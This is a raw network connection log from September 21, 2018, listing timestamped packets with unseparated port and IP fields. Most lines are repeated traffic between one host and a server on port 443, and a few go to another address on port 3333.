                          Sep 21, 2018 21:20:29.389815092 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:29.391983032 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:30.222949982 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:30.320285082 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:30.323191881 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:31.054580927 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:31.151189089 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:31.152426958 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:31.875660896 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:31.971790075 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:31.973145008 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:32.372756958 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:32.469162941 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:32.470663071 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:33.302651882 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:33.398487091 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:33.399775028 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:33.774796963 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:33.871886969 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:33.875683069 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:34.473880053 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:34.569859028 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:34.571294069 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:35.576849937 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:35.671725988 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:35.673913956 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:35.675518036 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:35.766448975 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:36.424187899 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:36.519027948 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:36.519735098 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:36.521768093 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:37.392823935 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:37.488775969 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:37.490216017 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:38.152740002 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:38.249310017 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:38.253447056 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:38.982820988 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:39.079366922 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:39.080898046 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:39.852562904 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:39.948584080 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:39.950562000 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:40.972920895 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:41.069181919 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:41.070353031 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:41.731270075 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:41.829412937 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:41.831573963 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:42.652832031 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:42.748939037 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:42.752701044 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:43.382900953 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:43.478651047 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:43.480891943 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:43.894184113 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:43.989595890 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:43.990865946 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:44.407229900 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:44.503659964 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:44.506076097 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:45.133955002 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:45.230807066 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:45.231931925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:46.034693956 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:46.130261898 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:46.131661892 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:47.019732952 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:47.116836071 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:47.120935917 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:47.984730005 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:48.080775023 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:48.082633018 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:48.983990908 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:49.081840038 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:49.083139896 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:49.802702904 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:49.898861885 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:49.900721073 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:50.703059912 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:50.799303055 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:50.800652027 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:51.532083988 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:51.628592968 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:51.631604910 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:53.102797985 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:53.199567080 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:53.201627016 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:54.381516933 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:54.478337049 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:54.501928091 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:55.162655115 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:55.258840084 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:55.302032948 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:55.653023958 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:55.749571085 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:55.811636925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:56.662566900 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:56.759357929 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:56.811836958 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:57.734143972 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:57.830842018 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:57.832254887 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:58.536616087 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:58.632838011 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:58.634115934 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:59.683687925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:59.779556036 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:59.780931950 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:00.232999086 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:00.329848051 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:00.334891081 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:00.672796965 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:00.855997086 CEST33335417345.125.194.34192.34.76.230
                          Sep 21, 2018 21:21:00.857265949 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:01.193675995 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:01.290236950 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:01.291557074 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:02.257441998 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:02.260054111 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:02.331854105 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:02.357376099 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:02.361704111 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:02.410852909 CEST33335417445.125.194.34192.34.76.230
                          Sep 21, 2018 21:21:02.411964893 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:02.412477016 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:02.426651001 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:02.565568924 CEST33335417445.125.194.34192.34.76.230
                          Sep 21, 2018 21:21:02.584619999 CEST33335417445.125.194.34192.34.76.230
                          Sep 21, 2018 21:21:02.587841034 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:03.012691021 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:03.107451916 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:03.108994961 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:03.123639107 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:03.972333908 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:04.069205046 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:04.071611881 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:04.932770967 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:05.028480053 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:05.031074047 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:05.937299013 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:06.032977104 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:06.034424067 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:06.803037882 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:06.899307013 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:06.900892019 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:07.420558929 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:07.516701937 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:07.519711018 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:08.593379974 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:08.690042019 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:08.691399097 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:09.572635889 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:09.669070959 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:09.670664072 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:10.143151999 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:10.239749908 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:10.242625952 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:10.962385893 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:11.058101892 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:11.060873032 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:11.740829945 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:11.894462109 CEST33335417445.125.194.34192.34.76.230
                          Sep 21, 2018 21:21:11.895828009 CEST541743333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:11.994083881 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:12.089790106 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:12.091240883 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:12.516855955 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:12.614162922 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:12.620306969 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:12.711210966 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:12.808860064 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:12.811047077 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:13.744307995 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:13.841058016 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:13.842956066 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:14.412805080 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:14.508939028 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:14.510173082 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:15.473624945 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:15.569637060 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:15.571259975 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:15.871475935 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:16.022414923 CEST33335417345.125.194.34192.34.76.230
                          Sep 21, 2018 21:21:16.024667025 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:21:16.311677933 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:16.407939911 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:16.411763906 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:17.232207060 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:17.328911066 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:17.341306925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:18.347246885 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:18.443012953 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:18.444232941 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:19.322706938 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:19.418250084 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:19.420640945 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:21.343214989 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:21.438919067 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:21.440243006 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:22.171839952 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:22.267683983 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:22.268821955 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:23.112668991 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:23.208813906 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:23.210020065 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:24.016869068 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:24.112869024 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:24.116964102 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:24.863050938 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:24.959291935 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:24.960524082 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:25.804672003 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:25.900732040 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:25.902095079 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:26.280327082 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:26.376759052 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:26.378236055 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:26.984457970 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:27.082660913 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:27.084021091 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:28.104428053 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:28.200886965 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:28.202224016 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:29.138103008 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:29.233799934 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:29.235244036 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:30.033135891 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:30.129384995 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:30.133230925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:30.536020041 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:30.632314920 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:30.633863926 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:31.482168913 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:31.577939987 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:31.580641031 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:32.043802023 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:32.140625000 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:32.141726971 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:32.989062071 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:33.085093021 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:33.086329937 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:33.390968084 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:33.487045050 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:33.491071939 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:34.217457056 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:34.313813925 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:34.319680929 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:35.243068933 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:35.339879036 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:35.341085911 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:35.916893959 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:36.012876987 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:36.016798019 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:36.982705116 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:37.078623056 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:37.079921961 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:37.819796085 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:37.916419983 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:37.919677973 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:38.672482014 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:38.769196987 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:38.770958900 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:39.162626028 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:39.258488894 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:39.260330915 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:40.192637920 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:40.289655924 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:40.290935993 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:41.012773037 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:41.108659983 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:41.110403061 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:41.759192944 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:41.855005026 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:41.856295109 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:42.832611084 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:42.928549051 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:42.935312986 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:43.552541018 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:43.648647070 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:43.653692961 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:44.143635988 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:44.240278006 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:44.243947983 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:44.682869911 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:44.779043913 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:44.784418106 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:45.865284920 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:45.961622000 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:45.962838888 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:46.611938953 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:46.708048105 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:46.709494114 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:47.139458895 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:47.235316038 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:47.236733913 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:48.073059082 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:48.168679953 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:48.170252085 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:48.847872972 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:48.944201946 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:48.945238113 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:49.270797014 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:49.366895914 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:49.368218899 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:50.102792025 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:50.198889017 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:50.203890085 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:51.223126888 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:51.318865061 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:51.320837975 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:51.707427979 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:51.803493023 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:51.804605007 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:52.782632113 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:52.878720045 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:52.879993916 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:53.324392080 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:53.420223951 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:53.421547890 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:53.766150951 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:53.861980915 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:53.863404989 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:54.292465925 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:54.390425920 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:54.402082920 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:55.323210955 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:55.418915033 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:55.420726061 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:56.174941063 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:56.271116018 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:56.272373915 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:57.162600994 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:57.259299994 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:57.260643005 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:58.027084112 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:58.123580933 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:58.124697924 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:58.785689116 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:58.881628036 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:58.882847071 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:59.572673082 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:21:59.668618917 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:21:59.669929981 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:00.264535904 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:22:00.361680031 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:22:00.363164902 CEST44125443192.34.76.23054.243.70.98
